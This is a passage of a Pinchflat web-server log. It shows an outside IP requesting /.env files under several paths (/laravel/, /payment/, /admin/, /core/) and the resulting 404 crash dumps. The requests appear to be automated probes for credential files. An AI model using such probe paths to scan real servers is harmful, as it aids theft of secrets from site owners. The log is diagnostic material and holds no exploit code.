}, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfAniGCLJU_cABcBC"} ], scheme: :http, scrip (truncated) 15:40:11.335 [info] GET /payment/.env 15:40:11.335 [debug] QUERY OK source="settings" db=0.1ms idle=298.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.335 [debug] QUERY OK source="settings" db=0.0ms idle=213.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.335 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.335 [error] #PID<0.21335.0> running PinchflatWeb.Endpoint (connection #PID<0.21334.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /payment/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21334.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21335.0>, params: %{}, path_info: ["payment", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfBA8lvqseRUACLuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21334.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21334.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51576}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21335.0>, params: %{}, path_info: ["payment", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfBA8lvqseRUACLuB"} ], scheme: :http, scrip (truncated) 15:40:11.438 [info] GET /admin/.env 15:40:11.439 [debug] QUERY OK source="settings" db=0.1ms idle=316.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.439 [debug] QUERY OK source="settings" db=0.0ms idle=210.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.439 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.439 [error] #PID<0.21337.0> running PinchflatWeb.Endpoint (connection #PID<0.21336.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21336.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51590}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21337.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfBZrTsOxSx4ABcBi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21336.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51590}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21336.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51590}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21337.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfBZrTsOxSx4ABcBi"} ], scheme: :http, script_name: [], (truncated) 15:40:11.548 [info] GET /.env.example 15:40:11.548 [debug] QUERY OK source="settings" db=0.1ms idle=319.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.548 [debug] QUERY OK source="settings" db=0.0ms idle=212.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.548 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.548 [error] #PID<0.21339.0> running PinchflatWeb.Endpoint (connection #PID<0.21338.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21338.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51596}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21339.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfBztdFbYMf0ABcCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21338.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51596}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21338.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51596}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21339.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfBztdFbYMf0ABcCC"} ], scheme: :http, script_name: [], (truncated) 15:40:11.651 [info] GET /core/.env 15:40:11.652 [debug] QUERY OK source="settings" db=0.1ms idle=316.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.652 [debug] QUERY OK source="settings" db=0.0ms idle=212.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.652 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.652 [error] #PID<0.21341.0> running PinchflatWeb.Endpoint (connection #PID<0.21340.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21340.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51598}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21341.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfCMaHP9kUYwABcCi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21340.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51598}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21340.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51598}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21341.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; 